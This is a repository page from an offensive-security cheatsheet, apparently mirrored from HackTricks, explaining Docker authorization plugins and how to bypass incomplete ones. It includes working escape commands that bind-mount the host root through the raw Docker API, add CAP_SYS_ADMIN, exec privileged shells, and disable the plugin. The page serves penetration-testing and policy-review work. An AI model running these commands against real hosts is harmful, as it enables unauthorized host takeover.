daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

authorization-plugins.md (8534B)


      1 ---
      2 title: "Runtime Authorization Plugins"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/containers-namespaces/container-security/authorization-plugins.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/containers-namespaces/container-security/authorization-plugins.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Runtime Authorization Plugins
     14 
     15 ## Overview
     16 
     17 Runtime authorization plugins are an extra policy layer that decides whether a caller may perform a given daemon action. Docker is the classic example. By default, anyone who can talk to the Docker daemon effectively has broad control over it. Authorization plugins try to narrow that model by examining the authenticated user and the requested API operation, then allowing or denying the request according to policy.
     18 
     19 This topic deserves its own page because it changes the exploitation model when an attacker already has access to a Docker API or to a user in the `docker` group. In such environments the question is no longer only "can I reach the daemon?" but also "is the daemon fenced by an authorization layer, and if so, can that layer be bypassed through unhandled endpoints, weak JSON parsing, or plugin-management permissions?"
     20 
     21 ## Operation
     22 
     23 When a request reaches the Docker daemon, the authorization subsystem can pass the request context to one or more installed plugins. The plugin sees the authenticated user identity, the request details, selected headers, and parts of the request or response body when the content type is suitable. Multiple plugins can be chained, and access is granted only if all plugins allow the request.
     24 
     25 This model sounds strong, but its safety depends entirely on how completely the policy author understood the API. A plugin that blocks `docker run --privileged` but ignores `docker exec`, misses alternate JSON keys such as top-level `Binds`, or allows plugin administration may create a false sense of restriction while still leaving direct privilege-escalation paths open.
     26 
     27 ## Common Plugin Targets
     28 
     29 Important areas for policy review are:
     30 
     31 - container creation endpoints
     32 - `HostConfig` fields such as `Binds`, `Mounts`, `Privileged`, `CapAdd`, `PidMode`, and namespace-sharing options
     33 - `docker exec` behavior
     34 - plugin management endpoints
     35 - any endpoint that can indirectly trigger runtime actions outside the intended policy model
     36 
     37 Historically, examples such as Twistlock's `authz` plugin and simple educational plugins such as `authobot` made this model easy to study because their policy files and code paths showed how endpoint-to-action mapping was actually implemented. For assessment work, the important lesson is that the policy author must understand the full API surface rather than only the most visible CLI commands.
     38 
     39 ## Abuse
     40 
     41 The first goal is to learn what is actually blocked. If the daemon denies an action, the error often leaks the plugin name, which helps identify the control in use:
     42 
     43 ```bash
     44 docker ps
     45 docker run --rm -it --privileged ubuntu:24.04 bash
     46 docker plugin ls
     47 ```
     48 
     49 If you need broader endpoint profiling, tools such as `docker_auth_profiler` are useful because they automate the otherwise repetitive task of checking which API routes and JSON structures are really permitted by the plugin.
     50 
     51 If the environment uses a custom plugin and you can interact with the API, enumerate which object fields are really filtered:
     52 
     53 ```bash
     54 docker version
     55 docker inspect <container> 2>/dev/null | head
     56 curl --unix-socket /var/run/docker.sock http:/version
     57 curl --unix-socket /var/run/docker.sock http:/v1.41/containers/json
     58 ```
     59 
     60 These checks matter because many authorization failures are field-specific rather than concept-specific. A plugin may reject a CLI pattern without fully blocking the equivalent API structure.
     61 
     62 ### Full Example: `docker exec` Adds Privilege After Container Creation
     63 
     64 A policy that blocks privileged container creation but allows unconfined container creation plus `docker exec` may still be bypassed:
     65 
     66 ```bash
     67 docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu:24.04 sleep infinity
     68 docker ps
     69 docker exec -it --privileged <container_id> bash
     70 ```
     71 
     72 If the daemon accepts the second step, the user has recovered a privileged interactive process inside a container the policy author believed was constrained.
     73 
     74 ### Full Example: Bind Mount Through Raw API
     75 
     76 Some broken policies inspect only one JSON shape. If the root filesystem bind mount is not blocked consistently, the host can still be mounted:
     77 
     78 ```bash
     79 docker version
     80 curl --unix-socket /var/run/docker.sock \
     81   -H "Content-Type: application/json" \
     82   -d '{"Image":"ubuntu:24.04","Binds":["/:/host"]}' \
     83   http:/v1.41/containers/create
     84 docker start <container_id>
     85 docker exec -it <container_id> chroot /host /bin/bash
     86 ```
     87 
     88 The same idea may also appear under `HostConfig`:
     89 
     90 ```bash
     91 curl --unix-socket /var/run/docker.sock \
     92   -H "Content-Type: application/json" \
     93   -d '{"Image":"ubuntu:24.04","HostConfig":{"Binds":["/:/host"]}}' \
     94   http:/v1.41/containers/create
     95 ```
     96 
     97 The impact is a full host filesystem escape. The interesting detail is that the bypass comes from incomplete policy coverage rather than from a kernel bug.
     98 
     99 ### Full Example: Unchecked Capability Attribute
    100 
    101 If the policy forgets to filter a capability-related attribute, the attacker may create a container that regains a dangerous capability:
    102 
    103 ```bash
    104 curl --unix-socket /var/run/docker.sock \
    105   -H "Content-Type: application/json" \
    106   -d '{"Image":"ubuntu:24.04","HostConfig":{"CapAdd":["SYS_ADMIN"]}}' \
    107   http:/v1.41/containers/create
    108 docker start <container_id>
    109 docker exec -it <container_id> bash
    110 capsh --print
    111 ```
    112 
    113 Once `CAP_SYS_ADMIN` or a similarly strong capability is present, many breakout techniques described in [capabilities.md](/hacktricks/linux-hardening/containers-namespaces/container-security/protections/capabilities) and [privileged-containers.md](/hacktricks/linux-hardening/containers-namespaces/container-security/privileged-containers) become reachable.
    114 
    115 ### Full Example: Disabling The Plugin
    116 
    117 If plugin-management operations are allowed, the cleanest bypass may be to turn the control off entirely:
    118 
    119 ```bash
    120 docker plugin ls
    121 docker plugin disable <plugin_name>
    122 docker run --rm -it --privileged -v /:/host ubuntu:24.04 chroot /host /bin/bash
    123 docker plugin enable <plugin_name>
    124 ```
    125 
    126 This is a policy failure at the control-plane level. The authorization layer exists, but the user it was supposed to restrict still retains permission to disable it.
    127 
    128 ## Checks
    129 
    130 These commands are aimed at identifying whether a policy layer exists and whether it seems to be complete or superficial.
    131 
    132 ```bash
    133 docker plugin ls
    134 docker info 2>/dev/null | grep -i authorization
    135 docker run --rm -it --privileged ubuntu:24.04 bash
    136 curl --unix-socket /var/run/docker.sock http:/v1.41/plugins 2>/dev/null
    137 ```
    138 
    139 What is interesting here:
    140 
    141 - Denial messages that include a plugin name confirm an authorization layer and often reveal the exact implementation.
    142 - A plugin list visible to the attacker may be enough to discover whether disable or reconfigure operations are possible.
    143 - A policy that blocks only obvious CLI actions but not raw API requests should be treated as bypassable until proven otherwise.
    144 
    145 ## Runtime Defaults
    146 
    147 | Runtime / platform | Default state | Default behavior | Common manual weakening |
    148 | --- | --- | --- | --- |
    149 | Docker Engine | Not enabled by default | Daemon access is effectively all-or-nothing unless an authorization plugin is configured | incomplete plugin policy, blacklists instead of allowlists, allowing plugin management, field-level blind spots |
    150 | Podman | Not a common direct equivalent | Podman typically relies more on Unix permissions, rootless execution, and API exposure decisions than on Docker-style authz plugins | exposing a rootful Podman API broadly, weak socket permissions |
    151 | containerd / CRI-O | Different control model | These runtimes usually rely on socket permissions, node trust boundaries, and higher-layer orchestrator controls rather than Docker authz plugins | mounting the socket into workloads, weak node-local trust assumptions |
    152 | Kubernetes | Uses authn/authz at the API-server and kubelet layers, not Docker authz plugins | Cluster RBAC and admission controls are the main policy layer | overbroad RBAC, weak admission policy, exposing kubelet or runtime APIs directly |